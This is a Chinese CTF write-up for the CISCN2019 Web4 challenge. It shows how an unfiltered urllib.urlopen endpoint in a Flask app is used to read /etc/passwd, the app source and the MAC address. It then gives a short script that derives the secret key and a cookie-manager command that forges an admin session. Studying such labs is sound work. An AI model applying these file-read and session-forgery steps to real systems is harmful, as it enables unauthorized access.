刷题[CISCN2019 华东南赛区]Web4
解题思路
打开有一个链接,那先点击一下
发现url处,很像命令执行,试一试。发现无论是什么都是no response,又是各种尝试
发现直接传?url=/etc/passwwd可以爆出回显,难道不是命令执行,是代码执行
先尝试一下目录穿越,发现flag被禁了
又是一波各种尝试,最后发现app/appp.py处可以获得源码。
这里记一点:url/read?id=xxxx这种在url和参数中间又会有一段字符串的,可以考虑是写了路由,不是php后端,可能是python后端
这点非常重要,帮助我们判断后端语言进行下一步,源码的读取等多种操作
其实这里猜想了可能是flask,因为抓包看到了session,格式很像flask的格式
代码审计
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
flag路由意思是只要伪造了session登陆即可获得flag内容,那么我们伪造session,首先要获取密钥,在代码中也有,我们先看看uuid.getnode()有什么用
意思就是获取mac地址
linux下mac地址的位置:/sys/class/net/eth0/address
读取获得mac地址
然后他采取的是伪随机数的方式,我们按他的同样使用,编写exp
exp
import random
mac="02:42:ae:00:4b:75 "
nmac=mac.replace(":", "")
random.seed(int(nmac,16))
key = str(random.random() * 233)
print(key)
这里又是几个坑点,一定要用python2环境执行,因为靶机使用的是python2环境,其会对后面的小数自动约分,所以需要使用python2执行的数字
然后我使用过几次flask-session-cookie-manager-master发现,解密与加密需要使用固定的格式不然会报错,以此为例:
解密出来的字符串不能直接更改值,需要改为键值的格式
"{'username':'fuck'}"
payload:python flask_session_cookie_manager3.py encode -s 63.5983416128 -t "{'username':'fuck'}"
使用此session在flag路由下访问即可获得flag
总结思路
- 发现url格式采用了路由的访问形式确认是python后端
- 查看session很像flask,基本确定是flask框架
- 通过工具解密session伪造session登陆
知识点
- flask
- 伪造session